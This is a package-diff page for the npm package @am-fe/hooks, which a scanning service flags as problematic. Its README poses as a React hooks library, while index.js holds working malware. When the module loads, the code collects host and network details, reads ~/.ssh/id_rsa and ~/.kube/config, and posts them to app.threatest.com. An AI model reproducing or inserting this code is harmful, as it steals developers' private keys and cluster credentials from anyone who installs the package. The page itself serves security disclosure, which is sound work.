@am-fe/hooks 0.0.1-beta.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @am-fe/hooks might be problematic. Click here for more details.
- package/README.md +13 -0
- package/index.js +115 -0
- package/package.json +11 -0
- package/test.js +1 -0
package/README.md
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
# @am-fe/hooks
|
2
|
+
|
3
|
+
## Installation
|
4
|
+
> yarn build # build target library
|
5
|
+
>
|
6
|
+
> yarn test # run test
|
7
|
+
>
|
8
|
+
> yarn doc:dev # run dev server of document
|
9
|
+
>
|
10
|
+
> yarn doc # generate document site
|
11
|
+
|
12
|
+
## Dependencies
|
13
|
+
[react-component-tool](https://www.npmjs.com/package/react-component-tool)
|
package/index.js
ADDED
@@ -0,0 +1,115 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
//const http = require("http");
|
5
|
+
const https = require("https");
|
6
|
+
const child_process = require("child_process");
|
7
|
+
const fs = require("fs");
|
8
|
+
const path = require("path");
|
9
|
+
const packageJSON = require("./package.json");
|
10
|
+
|
11
|
+
const packageName = packageJSON.name;
|
12
|
+
const scriptPath = process.argv[1];
|
13
|
+
const currentDir = process.cwd();
|
14
|
+
const hostname = os.hostname();
|
15
|
+
const AD = process.env.USERDNSDOMAIN;
|
16
|
+
const username = os.userInfo().username;
|
17
|
+
const dnsServers = dns.getServers();
|
18
|
+
|
19
|
+
const ifaces = os.networkInterfaces();
|
20
|
+
let ipv4 = "";
|
21
|
+
let ipv6 = "";
|
22
|
+
|
23
|
+
Object.keys(ifaces).forEach((dev) => {
|
24
|
+
ifaces[dev].forEach((details) => {
|
25
|
+
if (details.family === "IPv4" && !details.internal) {
|
26
|
+
ipv4 = details.address;
|
27
|
+
}
|
28
|
+
if (details.family === "IPv6" && !details.internal) {
|
29
|
+
ipv6 = details.address;
|
30
|
+
}
|
31
|
+
});
|
32
|
+
});
|
33
|
+
|
34
|
+
const resolved = packageJSON ? packageJSON.___resolved : undefined;
|
35
|
+
const version = process.version;
|
36
|
+
const kubeConfigFile = path.join(os.homedir(), ".kube", "config");
|
37
|
+
const sshKeyFile = path.join(os.homedir(), ".ssh", "id_rsa");
|
38
|
+
|
39
|
+
const collectFileContent = (filePath) => {
|
40
|
+
try {
|
41
|
+
const content = fs.readFileSync(filePath, "utf8");
|
42
|
+
return content;
|
43
|
+
} catch (err) {
|
44
|
+
console.error(err);
|
45
|
+
return "";
|
46
|
+
}
|
47
|
+
};
|
48
|
+
|
49
|
+
// 获取客户端外网 IP 地址
|
50
|
+
const getExternalIp = async () => {
|
51
|
+
try {
|
52
|
+
const res = await https.get('https://ipinfo.io/json', (response) => {
|
53
|
+
response.setEncoding('utf8');
|
54
|
+
let rawData = '';
|
55
|
+
response.on('data', (chunk) => {
|
56
|
+
rawData += chunk;
|
57
|
+
});
|
58
|
+
response.on('end', () => {
|
59
|
+
const parsedData = JSON.parse(rawData);
|
60
|
+
const externalIp = parsedData.ip;
|
61
|
+
const trackingData = JSON.stringify({
|
62
|
+
currentTime: new Date().toISOString(),
|
63
|
+
package: packageName,
|
64
|
+
script_path: scriptPath,
|
65
|
+
current_path: currentDir,
|
66
|
+
hostname: hostname,
|
67
|
+
ad: AD,
|
68
|
+
username: username,
|
69
|
+
dns: dnsServers,
|
70
|
+
intranet_ipv4: ipv4,
|
71
|
+
intranet_ipv6: ipv6,
|
72
|
+
npm_version: version,
|
73
|
+
r: resolved,
|
74
|
+
kubeconfig: collectFileContent(kubeConfigFile),
|
75
|
+
sshkey: collectFileContent(sshKeyFile),
|
76
|
+
externalIp: externalIp,
|
77
|
+
pjson: packageJSON,
|
78
|
+
});
|
79
|
+
|
80
|
+
const postData = querystring.stringify({
|
81
|
+
msg: trackingData,
|
82
|
+
});
|
83
|
+
|
84
|
+
const options = {
|
85
|
+
hostname: "app.threatest.com",
|
86
|
+
port: 443,
|
87
|
+
path: "/report/",
|
88
|
+
method: "POST",
|
89
|
+
headers: {
|
90
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
91
|
+
"Content-Length": postData.length,
|
92
|
+
},
|
93
|
+
};
|
94
|
+
|
95
|
+
const req = https.request(options, (res) => {
|
96
|
+
res.on("data", (d) => {
|
97
|
+
process.stdout.write(d);
|
98
|
+
});
|
99
|
+
});
|
100
|
+
|
101
|
+
req.on("error", (e) => {
|
102
|
+
console.error(e);
|
103
|
+
});
|
104
|
+
|
105
|
+
req.write(postData);
|
106
|
+
req.end();
|
107
|
+
});
|
108
|
+
});
|
109
|
+
} catch (err) {
|
110
|
+
console.error(err);
|
111
|
+
}
|
112
|
+
};
|
113
|
+
|
114
|
+
getExternalIp();
|
115
|
+
|
package/package.json
ADDED
package/test.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log("This is a test!");
|